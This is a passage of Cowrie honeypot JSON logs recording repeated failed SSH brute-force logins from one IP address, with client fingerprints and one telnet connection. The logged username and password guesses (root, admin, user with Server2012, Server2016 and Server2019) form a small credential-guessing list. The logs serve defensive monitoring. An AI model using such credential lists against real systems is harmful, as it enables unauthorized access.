istp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:51.946427Z","src_ip":"103.190.242.61","session":"d4e32d153208","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server2012","message":"login attempt [user/Server2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:52.758639Z","src_ip":"103.190.242.61","session":"d4e32d153208","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:53.238931Z","src_ip":"103.190.242.61","session":"d4e32d153208","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":63994,"dst_ip":"10.17.0.5","dst_port":22,"session":"634584148e0c","protocol":"ssh","message":"New connection: 103.190.242.61:63994 (10.17.0.5:22) [session: 634584148e0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:53.442982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:53.446729Z","src_ip":"103.190.242.61","session":"634584148e0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:53.648687Z","src_ip":"103.190.242.61","session":"634584148e0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server2012","message":"login attempt [user2/Server2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:54.467422Z","src_ip":"103.190.242.61","session":"634584148e0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:54.942775Z","src_ip":"103.190.242.61","session":"634584148e0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":64119,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a1eae66b382","protocol":"ssh","message":"New connection: 103.190.242.61:64119 (10.17.0.5:22) [session: 3a1eae66b382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:55.144565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:55.151266Z","src_ip":"103.190.242.61","session":"3a1eae66b382","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:55.347998Z","src_ip":"103.190.242.61","session":"3a1eae66b382","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2016","message":"login attempt [root/Server2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:56.161994Z","src_ip":"103.190.242.61","session":"3a1eae66b382","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:56.642780Z","src_ip":"103.190.242.61","session":"3a1eae66b382","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":64254,"dst_ip":"10.17.0.5","dst_port":22,"session":"c450317494af","protocol":"ssh","message":"New connection: 103.190.242.61:64254 (10.17.0.5:22) [session: c450317494af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:56.845736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:56.851440Z","src_ip":"103.190.242.61","session":"c450317494af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:57.047575Z","src_ip":"103.190.242.61","session":"c450317494af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server2016","message":"login attempt [admin/Server2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:57.862513Z","src_ip":"103.190.242.61","session":"c450317494af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:58.342422Z","src_ip":"103.190.242.61","session":"c450317494af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":64391,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee4920b36eb0","protocol":"ssh","message":"New connection: 103.190.242.61:64391 (10.17.0.5:22) [session: ee4920b36eb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:58.546276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:58.552529Z","src_ip":"103.190.242.61","session":"ee4920b36eb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:58.750564Z","src_ip":"103.190.242.61","session":"ee4920b36eb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server2016","message":"login attempt [user/Server2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:59.570901Z","src_ip":"103.190.242.61","session":"ee4920b36eb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:00.051758Z","src_ip":"103.190.242.61","session":"ee4920b36eb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":64528,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea56c7a97784","protocol":"ssh","message":"New connection: 103.190.242.61:64528 (10.17.0.5:22) [session: ea56c7a97784]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:00.256119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:00.261874Z","src_ip":"103.190.242.61","session":"ea56c7a97784","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:00.468666Z","src_ip":"103.190.242.61","session":"ea56c7a97784","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server2016","message":"login attempt [user2/Server2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:01.291945Z","src_ip":"103.190.242.61","session":"ea56c7a97784","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:01.772362Z","src_ip":"103.190.242.61","session":"ea56c7a97784","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":64664,"dst_ip":"10.17.0.5","dst_port":22,"session":"44cddf54b1ee","protocol":"ssh","message":"New connection: 103.190.242.61:64664 (10.17.0.5:22) [session: 44cddf54b1ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:01.987215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:01.997344Z","src_ip":"103.190.242.61","session":"44cddf54b1ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:02.211464Z","src_ip":"103.190.242.61","session":"44cddf54b1ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2019","message":"login attempt [root/Server2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:03.021584Z","src_ip":"103.190.242.61","session":"44cddf54b1ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:03.507304Z","src_ip":"103.190.242.61","session":"44cddf54b1ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":64797,"dst_ip":"10.17.0.5","dst_port":22,"session":"b565c6d28869","protocol":"ssh","message":"New connection: 103.190.242.61:64797 (10.17.0.5:22) [session: b565c6d28869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:03.710151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:03.715444Z","src_ip":"103.190.242.61","session":"b565c6d28869","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:03.911233Z","src_ip":"103.190.242.61","session":"b565c6d28869","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server2019","message":"login attempt [admin/Server2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:04.723453Z","src_ip":"103.190.242.61","session":"b565c6d28869","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:05.204901Z","src_ip":"103.190.242.61","session":"b565c6d28869","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":64929,"dst_ip":"10.17.0.5","dst_port":22,"session":"7135ea6db70a","protocol":"ssh","message":"New connection: 103.190.242.61:64929 (10.17.0.5:22) [session: 7135ea6db70a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:05.407265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:05.414987Z","src_ip":"103.190.242.61","session":"7135ea6db70a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:05.612198Z","src_ip":"103.190.242.61","session":"7135ea6db70a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00142669677734,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:06.295799Z","src_ip":"31.43.241.152","session":"575f110322f6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server2019","message":"login attempt [user/Server2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:06.428011Z","src_ip":"103.190.242.61","session":"7135ea6db70a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.43.241.152","src_port":57308,"dst_ip":"159.203.135.109","dst_port":23,"session":"196bd2ac43c8","protocol":"telnet","message":"New connection: 31.43.241.152:57308 (159.203.135.109:23) [session: 196bd2ac43c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:06.830503Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:06.908595Z","src_ip":"103.190.242.61","session":"7135ea6db70a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":65074,"dst_ip":"10.17.0.5","dst_port":22,"session":"98493b1ef025","protocol":"ssh","message":"New connection: 103.190.242.61:65074 (10.17.0.5:22) [session: 98493b1ef025]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:07.106653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:07.111528Z","src_ip":"103.190.242.61","session":"98493b1ef025","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:07.305532Z","src_ip":"103.190.242.61","session":"98493b1ef025","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server2019","message":"login attempt [user2/Server2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:08.116921Z","src_ip":"103.190.242.61","session":"98493b1ef025","protocol":"ssh"}
